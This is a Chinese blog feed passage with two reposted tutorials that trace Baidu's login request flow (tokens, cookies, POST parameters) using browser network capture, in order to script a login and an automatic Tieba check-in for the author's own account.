<p>此处，在表面看起来，这个参数ppui_logintime，大概意思是登陆的时间，所以推测是服务器为了记录你本地登陆百度的时间，和能否登陆百度这个过程本身，应该不会产生根本的影响，所以此处就可以采用策略一，暂时忽略不管。万一真的有影响，再回来继续分析也不迟。</p>
<hr>
<p>token=5ab690978812b0e7fbbe1bfc267b90b3</p>
<p>此值5ab690978812b0e7fbbe1bfc267b90b3，很明显，是需要从别的地方找到的。所以就去分析此值是如何来的。</p>
<p>同理，继续去搜5ab690978812b0e7fbbe1bfc267b90b3，然后是可以搜到的，然后通过点击搜索框中的向前和向后的按钮，是可以找到这个2/68 条记录，对应url：<a href="https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true" target="_blank" rel="external">https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true</a> 的这处的：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125433-175a4b5829ec4ccfa56213f76d72acac.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125434-9db2324887f14444ab5bb9d1a235f105.png" alt="2-of-68-found-this-token_thumb" title="2-of-68-found-this-token_thumb"></a></p>
<p>对于上述所搜到的内容，很明显可以看出，就是我们在通过网页登陆百度首页过程中，通过IE9的F12抓取出来的记录知道了，其内部还是会先去访问：<a href="https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true" target="_blank" rel="external">https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true</a>，然后会获得Response Body，即（服务器所返回的）html源码，其中包括了：</p>
<blockquote>
<p><code>bdPass.api.params.login_token=``&#39;5ab690978812b0e7fbbe1bfc267b90b3&#39;``;</code><br>此时，你应该就明白了，到时候我们去写代码时，想要获得上述token的值的话，就需要先去对url=<a href="https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true" target="_blank" rel="external">https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true</a>发送GET请求，获得对应的html代码，然后从中分析出token的值5ab690978812b0e7fbbe1bfc267b90b3；</p>
</blockquote>
<p>而写到此，基本逻辑过程，也相对清楚了。</p>
<p>但是有人很快会想到，即使上述代码写出来了，又如何能确保的确已经模拟登陆成功了，即如何验证此处模拟登陆百度首页成功了呢？</p>
<p>此处，根据经验，主要通过两方面来验证：</p>
<p>一是返回的html代码，即对应着F12中的Response Body。<br>二是cookie，如果你成功登陆了服务器，那么其所返回的值中中，对于cookie，一般都是会有对应的，和成功登陆有关的新的cookie返回给你的，以及另外更新一些原先发送的一些cookie的值。</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125434-de8e8bb9b0c04e3db0db5803723f7c2c.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125435-4570449dafab40c293591cdd9dbcfb26.png" alt="after-clear-cookie-login-ok-receive-cookies_thumb" title="after-clear-cookie-login-ok-receive-cookies_thumb"></a></p>
<p>此处，需要特别提示一句，如果你在最开始没有去清除cookie，则很可能看到的cookie结果是这样的：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125436-dffbbede18fc4bf1b06a2c31cea883d9.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125436-002d042c585a4cbfb7a0d07f29dccf05.png" alt="resp-cookie-when-login-ok_thumb" title="resp-cookie-when-login-ok_thumb"></a></p>
<p>即，登陆前后的cookie，都有BDUSS，PTOKEN，STOKEN，SAVEUSERID。</p>
<p>这是因为，之前通过别的账号，以及同样的账号登陆过，所以IE9已经在本地记录了相关的cookie。所以，在访问该url时，能看到Sent中已经存在了类似的cookie。</p>
<p>总的来说，可以通过返回的html和cookie，来验证是否登录成功了。</p>
<p>而一般来说，通过验证cookie，是最有效的。因为很多时候，某些网站登陆成功和登陆失败，所显示的页面可能是同一个。但是登陆成功的话，基本都会有对应的，新的，和登陆有关的cookie，返回的。</p>
<hr>
<p>一般来说，实际上，对于很多不是很复杂的网站，到这一步，就完全就够了，就能够成功模拟登陆了。</p>
<p>但是，后来经过代码的证实，如上的流程，实际上是行不通的，因为对于去访问：<a href="https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true" target="_blank" rel="external">https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true</a>，实际上，返回的html是：</p>
<p><div></div></p>
<p><pre>var bdPass=bdPass||{};<br>bdPass.api=bdPass.api||{};<br>bdPass.api.params=bdPass.api.params||{};<br>bdPass.api.params.login_token=’the fisrt two args should be string type:0,1!’;<br>bdPass.api.params.login_tpl=’mn’;<br>document.write(‘&lt;script type=”text/javascript” charset=”UTF-8” src=”<a href="https://passport.baidu.com/js/v2ApiUsedTangramFunctions.js?v=20121018&quot;&gt;&lt;/script&amp;gt" target="_blank" rel="external">https://passport.baidu.com/js/v2ApiUsedTangramFunctions.js?v=20121018&quot;&gt;&lt;/script&amp;gt</a>;’);<br>document.write(‘&lt;script type=”text/javascript” charset=”UTF-8” src=”<a href="https://passport.baidu.com/js/pass_api_login.js?v=20121018&quot;&gt;&lt;/script&amp;gt" target="_blank" rel="external">https://passport.baidu.com/js/pass_api_login.js?v=20121018&quot;&gt;&lt;/script&amp;gt</a>;’);</pre><br><br>其中的：bdPass.api.params.login_token=’the fisrt two args should be string type:0,1!’;是无法正确获得我们所需要耳朵token的值的。</p>
<p>所以，接下来，就是继续去想办法，找到此处没有正确获得返回的html的原因。</p>
<p>不过，首先要知道的，无论何时，从抓取出来的数据来看，只要你程序是完整模拟了整个浏览器所发送的所有的数据，此处即IE9所发送的request headers和post data（Request body），那么，程序所获得的返回值，就应该也和所抓取到的数据一样，即应该就可以从返回的html（response body）中获得所需的token的值了。</p>
<p>而此处之所有没有获得，对照上述所抓取的数据去看，则很可能是，request headers中某些值，比如cookie值，referer等值，没有赋值正确，导致返回的html不对。</p>
<p>所以，接下来，就是想办法，尝试一点点，完全找到上那些cookie的值，referer等的值，都是从哪里来的。</p>
<p>好的，现在接着就以其中一个最复杂的cookie：SAVEUSERID，来说明，到底是如何分析出来的，找到最开始的SAVEUSERID是从哪里来的。所能想到的，就是先去搜索SAVEUSERID。并且，是利用从最开始的地方，往后去搜索：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125436-b9a87737211b4742bc1efdda9320c2cd.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125437-2737f98349f14f49ad7ad937856c4fdf.png" alt="from-start-to-search_thumb" title="from-start-to-search_thumb"></a></p>
<p>然后搜出来，第一个出现的位置是：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125437-5338b178c2504f27b25aea420d00095f.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125438-2dd5d1a88773487b8384a0066ea87204.png" alt="first-occurence_thumb" title="first-occurence_thumb"></a></p>
<p>可以看到，当前的url地址是 16/80，即一共抓取到了80条记录，现在这个是第16个。</p>
<p>这意味着，在此之前15条记录中，都没有出现SAVEUSERID，而第一次出现此SAVEUSERID，是在第16条记录，url地址为：</p>
<p><a href="https://passport.baidu.com/img/v2/small_blank.gif" target="_blank" rel="external">https://passport.baidu.com/img/v2/small_blank.gif</a></p>
<p>切换到summary view，更加容易看清整个抓取的记录的情况：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125438-effd61f6ef8e428aa1f235fa915123c9.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125439-783efcb2a8aa485795f5c0b86a092008.png" alt="summary-view-first-occurence_thumb" title="summary-view-first-occurence_thumb"></a></p>
<p>但是，此处，没有出现我们所期待的，是访问某个url，然后返回的cooki中，包括了此SAVEUSERID。</p>
<hr>
<p>【小提示：cookie的生成和出现的时机】</p>
<p>所谓cookie，一般都是访问服务器，然后服务器返回的cookie。然后之后才是访问其他的，后续的地址时，sent这些cookie，然后后续访问的地址所返回的信息中，可能会再次更新值/删除本地的，旧的cookie，以及也可能返回新的，增加新的本地的cookie。</p>
<p>甚至是第一次出现此cookie，是代码本身，比如javascript中通过代码生成的cookie。</p>
<p>但是无论如何，一般第一次出现一个cookie，最常见的都是服务器返回的cookie。其实少数可能是由期间运行到的javascript代码所生成的。</p>
<p>所以，接下来，还要想办法，找到此cookie，SAVEUSERID，第一次出现是在什么时候。</p>
<p>对此，需要用到我之前自己折腾的时候所学到的经验。</p>
<p>是去查看本地缓存文件和cookie中，看看是否有之前所保存的cookie。</p>
<p>因为，之前通过IE9的F12所执行的删除cookie时，其虽然的确删除了“当前domain”的cookie，但是对于非当前domain的cookie，并没有删除掉。即，本来是通过点击Cache-&gt;Clear session cookies  Cache-&gt;Clear cookies for domain打算删除掉关于百度的所有的cookie的，结果，实际上，此时只去删除了当前domian=www.baidu.com所相关的cookie，而对于passport.baidu.com，由于和<a href="http://www.baidu.com/" target="_blank" rel="external">www.baidu.com</a>不是同一个domain，所以，本地那些passport.baidu.com相关的cookie，还是存在的，所以通过自己手动找到电脑中放cookie和缓存的地方，还是可以找到 Cookie:cli@passport.baidu.com/ 的：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125440-9540e40ecfd74042b6e7cf75e8f3ae2a.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125440-e332124f03c34987bc9fbed9b410925e.png" alt="temp-internet-files-cookies-for-passport-baidu_thumb" title="temp-internet-files-cookies-for-passport-baidu_thumb"></a></p>
<p>这里，才是真正SAVEUSERID所在的位置，而为何之前找不到SAVEUSERID第一次出现的位置，是因为此处本地域名（domain）为passport.baidu.com所对应的cookie中包含了SAVEUSERID，没有被删除掉，所以，上述IE9的F12抓取到的第一次出现的SAVEUSERID的时候，就已经有了值，且在访问地址<a href="https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true" target="_blank" rel="external">https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true</a> 时使用了。</p>
<p>此时，知道原因了，那就可以再去去完整清除所有的cookie和cache了。</p>
<hr>
<p>重新登录后再去重新搜索想要分析的SAVEUSERID，然后搜索出来的第一个是：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125441-c92273fc6572423bb891126fa0369cec.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125441-68d2c98d83f94d5c94cb4ef95c15bc28.png" alt="search-SAVEUSERID-found-first-is-3-of-67_thumb" title="search-SAVEUSERID-found-first-is-3-of-67_thumb"></a></p>
<p>很明显，其就是我们所期望的了，因为其中的SAVEUSERID是通过Set-Cookie所获得的，是访问服务器的某个地址（<a href="https://passport.baidu.com/v2/api/?login" target="_blank" rel="external">https://passport.baidu.com/v2/api/?login</a>），然后服务器所返回的cookie值。</p>
<p>如此，我们才能有机会，去写代码，去模拟访问此路径，获得此cookie，然后有后续的可能，利用此cookie，访问后续其他地址，最后完整模拟登陆网站的全部过程的。</p>
<p>而相应的，访问<a href="https://passport.baidu.com/v2/api/?login" target="_blank" rel="external">https://passport.baidu.com/v2/api/?login</a>之前，需要用到BAIDUID。所以又用同样的分析方法，去找到BAIDUID这个cookie的最开始的来源（又重新打开浏览器，重新分析了一次）：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125442-c0cba82e6f42430dba189ac9e6747f7e.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125443-8ccf6b79956f42b59d5f607925986b1d.png" alt="find-first-BAIDUID_thumb" title="find-first-BAIDUID_thumb"></a></p>
<p>因此，即为：</p>
<p>先访问<a href="http://www.baidu.com/" target="_blank" rel="external">http://www.baidu.com/</a>去获得对应的BAIDUID<br>接着去访问<a href="https://passport.baidu.com/v2/api/?login" target="_blank" rel="external">https://passport.baidu.com/v2/api/?login</a>，其中发送的数据中，包括BAIDUID，返回数据中，得到SAVEUSERID。</p>
<p>而此时，其实访问<a href="https://passport.baidu.com/v2/api/?login" target="_blank" rel="external">https://passport.baidu.com/v2/api/?login</a>本身就是我们所追求的目标，模拟登陆百度。</p>
<p>所以后续的SAVEUSERID，其实此处是可以不用，只是去通过校验cookie，而验证登陆是否成功时，会涉及到而已。</p>
<hr>
<p>然后再去回头看之前所说的：<a href="https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true" target="_blank" rel="external">https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true</a></p>
<p>再次重现抓取所看到的结果为：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125443-174db12615464767b5956912dc891da0.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125443-155afef8a0514cd198ac0ec8ae2d08c3.png" alt="access-getapi-url-require-BAIDUID_thumb" title="access-getapi-url-require-BAIDUID_thumb"></a></p>
<p>就容易看懂了，即需要在访问：<a href="https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true" target="_blank" rel="external">https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true</a>时，提供BAIDUID这个cookie。</p>
<p>另外，再确认一下，访问：<a href="https://passport.baidu.com/v2/api/?login" target="_blank" rel="external">https://passport.baidu.com/v2/api/?login</a>正确登陆时，所返回的cookie：</p>
<p><a href="http://images.cnitblog.com/blog/278176/201212/31125444-ee09ccb844114633b20ceb3671e25545.png" target="_blank" rel="external"><img src="http://images.cnitblog.com/blog/278176/201212/31125444-63eafbd2db814956a8fbfb9dbd354d8b.png" alt="login-ok-returned-cookies_thumb" title="login-ok-returned-cookies_thumb"></a></p>
<p>可见，其中至少包括：BDUSS，PTOKEN，STOKEN，SAVEUSERID（其中，对于原先域名为baidu.com的PTOKEN，是被删除掉的，此处暂可忽略）</p>
<p><strong>3、总结模拟登陆网站的基本流程</strong></p>
<p>至此，对于想要模拟登陆百度首页：<a href="http://www.baidu.com/" target="_blank" rel="external">http://www.baidu.com/</a>的内部逻辑过程，基本上就很清楚了：</p>
<p><table width="799" border="0" cellspacing="0" cellpadding="2"></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td valign="top" width="27"></td></p>
<p><td valign="top" width="40"><span>顺序</span></td></p>
<p><td valign="top" width="312"><span>访问地址</span></td></p>
<p><td valign="top" width="70"><span>访问类型</span></td></p>
<p><td valign="top" width="125"><span>发送的数据</span></td></p>
<p><td valign="top" width="223"><span>需要获得/提取的返回的值</span></td><br></p>
<p><tr></tr></p>
<p><td valign="top" width="27"></td></p>
<p><td valign="top" width="40"><span>1</span></td></p>
<p><td valign="top" width="316"><a href="http://www.baidu.com/" target="_blank" rel="external">http://www.baidu.com/</a></td></p>
<p><td valign="top" width="70"><span>GET</span></td></p>
<p><td valign="top" width="123"><span>无</span></td></p>
<p><td valign="top" width="220"><span>返回的cookie中的BAIDUID</span></td><br></p>
<p><tr></tr></p>
<p><td valign="top" width="27"></td></p>
<p><td valign="top" width="40"><span>2</span></td></p>
<p><td valign="top" width="319"><a href="https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true" target="_blank" rel="external">https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=true</a></td></p>
<p><td valign="top" width="70"><span>GET</span></td></p>
<p><td valign="top" width="123"><span>包含BAIDUID这个cookie</span></td></p>
<p><td valign="top" width="218"><span>从返回的html中提取出token的值</span></td><br></p>
<p><tr></tr></p>
<p><td valign="top" width="27"></td></p>
<p><td valign="top" width="40"><span>3</span></td></p>
<p><td valign="top" width="321"><a href="https://passport.baidu.com/v2/api/?login" target="_blank" rel="external">https://passport.baidu.com/v2/api/?login</a></td></p>
<p><td valign="top" width="70"><span>POST</span></td></p>
<p><td valign="top" width="122"><span>一堆的post data，其中token的值是之前提取出来的</span></td></p>
<p><td valign="top" width="218"><span>需要验证返回的cookie中，是否包含BDUSS，PTOKEN，STOKEN，SAVEUSERID</span></td><br><br><br><br>对于上述流程，按理来说，去使用代码，Python或C#等，去实现出来，即可。</p>
<p>不过，关于模拟登陆时所需要的数据，多解释一下。</p>
<p>按理来说，完整的模拟网站登陆的话，其实应该是从头到尾的，分析出浏览器（IE9）本身是如何访问网站的，然后把所有的逻辑搞懂，数据的来源都分析清楚，即如上述过程，对于访问<a href="https://passport.baidu.com/v2/api/?login" target="_blank" rel="external">https://passport.baidu.com/v2/api/?login</a>所需要的那么一堆参数，都去搞懂具体的含义，以及参数的值，是怎么获得的。而实际上，很多时候，模拟网站登陆，或者是抓取网页信息的时候，只需要最关心的那些核心参数即可。因为，服务器，很可能，只是去判断那些核心参数，比如上述的username，password，及其他几个参数，然后就可以正确返回你所需要的信息，即html，cookie等，就可以成功实现模拟登陆的目的了。但是，话说回来，具体需要哪些，最基本的参数，还是需要通过写程序，去一点点测试出来的。而之所以给大家介绍上述的概念，目的是为了，在你觉得自己能看懂参数的大概含义的时候，很多时候，能看出该参数不要也无所谓的时候，那就可以先去测试基本的数，而暂时忽略其他相对次要的参数。由此，在一定程度上，提高做事情的效率而已。当然，在忽略参数的时候，也要注意，不要轻易忽略很多参数，否则也是很可能影响到程序模拟登陆的正确性的。具体的尺度的把握，就一点：根据情况而定，自己看着办。</p>
<p>【总结】</p>
<p>至此，关于模拟登陆网站，如何一步步的分析出内部逻辑过程，就完成了。</p>
<p>总结下来就是，先去用工具“录制”你所有的操作，然后再去利用工具去分析和登陆有关那些url的相关的信息，主要是post data有哪些参数，以及其值是如何获得的。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>很少转贴的，转的都是比较有价值的</p>
<p><strong>1、准备好工具并配置好工具</strong></p>
<p>打开IE9，打开百度首页（<a href="http://www.baidu.com/" target="_blank" rel="external"]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[【转】百度签到的分析]]></title>
    <link href="http://doubles.me/2013/05/29/688/"/>
    <id>http://doubles.me/2013/05/29/688/</id>
    <published>2013-05-29T13:51:18.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>前面一个是分析工具的使用。</p>
<p>由于签到器利用的是模拟浏览器发送http请求，所以第一步肯定是去了解一下每个步骤都要提交什么参数，用的是post还是get方法，返回给用户的又是什么内容。</p>
<p>这里我用的是FireFox + HTTP Header，这个插件可以很轻易地截取浏览器的数据包。</p>
<p>第一步研究登录百度ID的过程。百度2.0标准的登录网址是：<a href="https://passport.baidu.com/v2/?login" target="_blank" rel="external">https://passport.baidu.com/v2/?login</a> ，在这个网页里面提交用户名和密码，就能够进行登录了。</p>
<p>打开HTTP Header插件，然后进行登录，再返回来看下截获到的数据包。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/165119OHs.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/165119OHs.png" alt="1"></a></p>
<p>这里登录用的是post方法，上面红色框里面的内容就是我们要提交的数据，看起来还是挺多的= =</p>
<p>在百度上各种乱搜，总算找到了其中必要的参数：</p>
<p><div id="crayon-51a59c15c8719" data-settings=" minimize scroll-mouseover wrap"></div></p>
<p><div></div></p>
<p><div></div></p>
<p><table></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td data-settings="show"></td></p>
<p><div></div></p>
<p><div data-line="crayon-51a59c15c8719-1">1</div></p>
<p><div data-line="crayon-51a59c15c8719-2">2</div></p>
<p><div data-line="crayon-51a59c15c8719-3">3</div></p>
<p><div data-line="crayon-51a59c15c8719-4">4</div></p>
<p><div data-line="crayon-51a59c15c8719-5">5</div></p>
<p><div data-line="crayon-51a59c15c8719-6">6</div></p>
<p><div data-line="crayon-51a59c15c8719-7">7</div></p>
<p><div data-line="crayon-51a59c15c8719-8">8</div></p>
<p><div data-line="crayon-51a59c15c8719-9">9</div></p>
<p><div data-line="crayon-51a59c15c8719-10">10</div><br></p>
<p><td></td></p>
<p><div></div></p>
<p><div id="crayon-51a59c15c8719-1">username=</div></p>
<p><div id="crayon-51a59c15c8719-2">password=</div></p>
<p><div id="crayon-51a59c15c8719-3">token=</div></p>
<p><div id="crayon-51a59c15c8719-4">mem_pass=on</div></p>
<p><div id="crayon-51a59c15c8719-5">safeflg=0</div></p>
<p><div id="crayon-51a59c15c8719-6">tpl=mn</div></p>
<p><div id="crayon-51a59c15c8719-7">charset=utf-8</div></p>
<p><div id="crayon-51a59c15c8719-8">index=0</div></p>
<p><div id="crayon-51a59c15c8719-9">isPhone=false</div></p>
<p><div id="crayon-51a59c15c8719-10">loginType=1</div><br><br><br><br><br><br><br>下面几项基本上是固定了的，具体是什么意思就不解释了。重点是上面的三个，username、password和token值。username和password很好理解，就是你的用户名和密码。至于token值，是一个随机值，每次登录使用的token都不一样。那么我们从哪里去获取这个值呢？</p>
<p>token其实主要跟你电脑里面cookies有关。每次访问百度的页面时，百度都会在你的PC里存一个cookies，然后这个token值与cookies是相关的。其实百度也提供了一个接口供我们去读取这个值：</p>
<p><a href="https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=false" target="_blank" rel="external">https://passport.baidu.com/v2/api/?getapi&amp;class=login&amp;tpl=mn&amp;tangram=false</a></p>
<p>这里返回的是这样一组数据：</p>
<p><div id="crayon-51a59c15c8755" data-settings=" minimize scroll-mouseover wrap"></div></p>
<p><div></div></p>
<p><div></div></p>
<p><table></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td data-settings="show"></td></p>
<p><div></div></p>
<p><div data-line="crayon-51a59c15c8755-1">1</div></p>
<p><div data-line="crayon-51a59c15c8755-2">2</div></p>
<p><div data-line="crayon-51a59c15c8755-3">3</div></p>
<p><div data-line="crayon-51a59c15c8755-4">4</div></p>
<p><div data-line="crayon-51a59c15c8755-5">5</div></p>
<p><div data-line="crayon-51a59c15c8755-6">6</div><br></p>
<p><td></td></p>
<p><div></div></p>
<p><div id="crayon-51a59c15c8755-1">var bdPass=bdPass||{};</div></p>
<p><div id="crayon-51a59c15c8755-2">bdPass.api=bdPass.api||{};</div></p>
<p><div id="crayon-51a59c15c8755-3">bdPass.api.params=bdPass.api.params||{};</div></p>
<p><div id="crayon-51a59c15c8755-4">bdPass.api.params.login_token=’fc05aa638b54417093435fcd9b3aeac7’;</div></p>
<p><div id="crayon-51a59c15c8755-5">bdPass.api.params.login_tpl=’mn’;</div></p>
<p><div id="crayon-51a59c15c8755-6">document.write(‘’);</div><br><br><br><br><br><br><br>可以看到token值就在其中。这时你可以尝试把你浏览器的cookies清空，然后再次去访问这个网址，就会获得另外一个token值，具体的关系就不研究了。取出token值得方法有很多，我在程序中运用的是正则表达式，毕竟这么短的文本还是很容易去匹配的。</p>
<p>登录的参数我们解决了，那么这个包发出去之后，百度会给我们回复什么呢？</p>
<p>我们所用的插件貌似只给我们返回了一个跳转链接：</p>
<blockquote>
<p>/v3Jump.html?err_no=4&amp;callback=parent.bd<strong>pcbs</strong>kvi1nt&amp;</p>
<p>needToModifyPassword=0&amp;codeString=&amp;userName=&amp;phoneNumber=&amp;</p>
<p>mail=&amp;hao123Param=&amp;u=<a href="https://passport.baidu.com/&amp;secState=&amp;amp" target="_blank" rel="external">https://passport.baidu.com/&amp;secState=&amp;amp</a>;</p>
<p>gotourl=<br>这里我们借用python的urllib.request.read()，把返回的具体内容读出来。（部分敏感信息被我用*替换了。。）</p>
<p><div id="crayon-51a59c15c8790" data-settings=" minimize scroll-mouseover wrap"></div></p>
<p><div></div></p>
<p><div></div></p>
<p><table></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td data-settings="show"></td></p>
<p><div></div></p>
<p><div data-line="crayon-51a59c15c8790-1">1</div></p>
<p><div data-line="crayon-51a59c15c8790-2">2</div></p>
<p><div data-line="crayon-51a59c15c8790-3">3</div></p>
<p><div data-line="crayon-51a59c15c8790-4">4</div></p>
<p><div data-line="crayon-51a59c15c8790-5">5</div></p>
<p><div data-line="crayon-51a59c15c8790-6">6</div></p>
<p><div data-line="crayon-51a59c15c8790-7">7</div></p>
<p><div data-line="crayon-51a59c15c8790-8">8</div></p>
<p><div data-line="crayon-51a59c15c8790-9">9</div></p>
<p><div data-line="crayon-51a59c15c8790-10">10</div></p>
<p><div data-line="crayon-51a59c15c8790-11">11</div></p>
<p><div data-line="crayon-51a59c15c8790-12">12</div></p>
<p><div data-line="crayon-51a59c15c8790-13">13</div><br></p>
<p><td></td></p>
<p><div></div></p>
<p><div id="crayon-51a59c15c8790-1">&lt;!DOCTYPE html&gt;</div></p>
<p><div id="crayon-51a59c15c8790-2">&lt;html&gt;</div></p>
<p><div id="crayon-51a59c15c8790-3">&lt;head&gt;</div></p>
<p><div id="crayon-51a59c15c8790-4">&lt;meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8”&gt;</div></p>
<p><div id="crayon-51a59c15c8790-5">&lt;/head&gt;</div></p>
<p><div id="crayon-51a59c15c8790-6">&lt;body&gt;</div></p>
<p><div id="crayon-51a59c15c8790-7">&lt;script type=”text/javascript”&gt;</div></p>
<p><div id="crayon-51a59c15c8790-8">var url = encodeURI(‘<a href="https://passport.baidu.com/jump.html?error=0&amp;callback=&amp;index=0&amp;username=lkyghy459&amp;phonenumber=1353*******&amp;mail=li******3.com&amp;tpl=mn&amp;u=https%3A%2F%2Fpassport.baidu.com%2F&amp;needToModifyPassword=0&amp;gotourl=&amp;hao123Param=WlViV3BrWkV4T1dEWkhhRT*******************xSXdTa3RsTWtGNmNYcEpPVlJqYUhsLWIwNVNRVkZCUVVGQkpDUUFBQUFBQUFBQUFBRUFBQUNSYkNvQmJHdDVaMmg1TkRVNUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFISnhYRkZ5Y1Z4UmJH" target="_blank" rel="external">https://passport.baidu.com/jump.html?error=0&amp;callback=&amp;index=0&amp;username=lkyghy459&amp;phonenumber=1353*******&amp;mail=li******3.com&amp;tpl=mn&amp;u=https%3A%2F%2Fpassport.baidu.com%2F&amp;needToModifyPassword=0&amp;gotourl=&amp;hao123Param=WlViV3BrWkV4T1dEWkhhRT*******************xSXdTa3RsTWtGNmNYcEpPVlJqYUhsLWIwNVNRVkZCUVVGQkpDUUFBQUFBQUFBQUFBRUFBQUNSYkNvQmJHdDVaMmg1TkRVNUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFISnhYRkZ5Y1Z4UmJH</a>‘);</div></p>
<p><div id="crayon-51a59c15c8790-9">//parent.callback(url)</div></p>
<p><div id="crayon-51a59c15c8790-10">window.location.replace(url);</div></p>
<p><div id="crayon-51a59c15c8790-11">&lt;/script&gt;</div></p>
<p><div id="crayon-51a59c15c8790-12">&lt;/body&gt;</div></p>
<p><div id="crayon-51a59c15c8790-13">&lt;/html&gt;</div><br><br><br><br><br><br><br>这个页面实现的是url跳转，而登录成功的标志就在于那个url里面的error这个参数。如果返回是0，那么就是登录成功；如果是其他数值就是没成功，具体参数意义我也不太清楚。。所以在程序里面我们只要抓取error的值就知道登录十分成功了。可以采用正则表达式，也可以用python里面的urllib.parse.urlparse模块分析url。</p>
</blockquote>
<p>登录这一步解决了，接下来就是签到这一块。首先来模拟一下签到的方式。（以dota2吧为例子）</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/165119xWJ.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/165119xWJ.png" alt="2"></a></p>
<p>这里的参数就简单多了：</p>
<p><div id="crayon-51a59c15c87cb" data-settings=" minimize scroll-mouseover wrap"></div></p>
<p><div></div></p>
<p><div></div></p>
<p><table></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td data-settings="show"></td></p>
<p><div></div></p>
<p><div data-line="crayon-51a59c15c87cb-1">1</div></p>
<p><div data-line="crayon-51a59c15c87cb-2">2</div></p>
<p><div data-line="crayon-51a59c15c87cb-3">3</div><br></p>
<p><td></td></p>
<p><div></div></p>
<p><div id="crayon-51a59c15c87cb-1">ie=utf-8</div></p>
<p><div id="crayon-51a59c15c87cb-2">kw=dota2</div></p>
<p><div id="crayon-51a59c15c87cb-3">tbs=47f4f89a9b1162a41365014007</div><br><br><br><br><br><br><br>ie这个参数应该是编码的意思，然后kw就是贴吧名字，tbs字面上理解应该是贴吧的session id，跟贴吧有关。虽然它是个变值，每次都不一样，不过可以多次使用，重点是可以直接从该贴吧的源码里面找出来。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/1651209Ab.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2013/05/1651209Ab.png" alt="3"></a></p>
<p>这里获取tbs的方法就不多说了，跟上面的差不多。</p>
<p>主要来看一下签到返回的数据。贴吧签到返回的内容是json格式（一种类似XML的格式），读起来非常简单，而且python也有json库可以调用。先来看一下成功签到返回的内容：</p>
<p><div id="crayon-51a59c15c8805" data-settings=" minimize scroll-mouseover wrap"></div></p>
<p><div></div></p>
<p><div></div></p>
<p><table></table></p>
<p><tbody></tbody></p>
<p><tr></tr></p>
<p><td data-settings="show"></td></p>
<p><div></div></p>
<p><div data-line="crayon-51a59c15c8805-1">1</div></p>
<p><div data-line="crayon-51a59c15c8805-2">2</div></p>
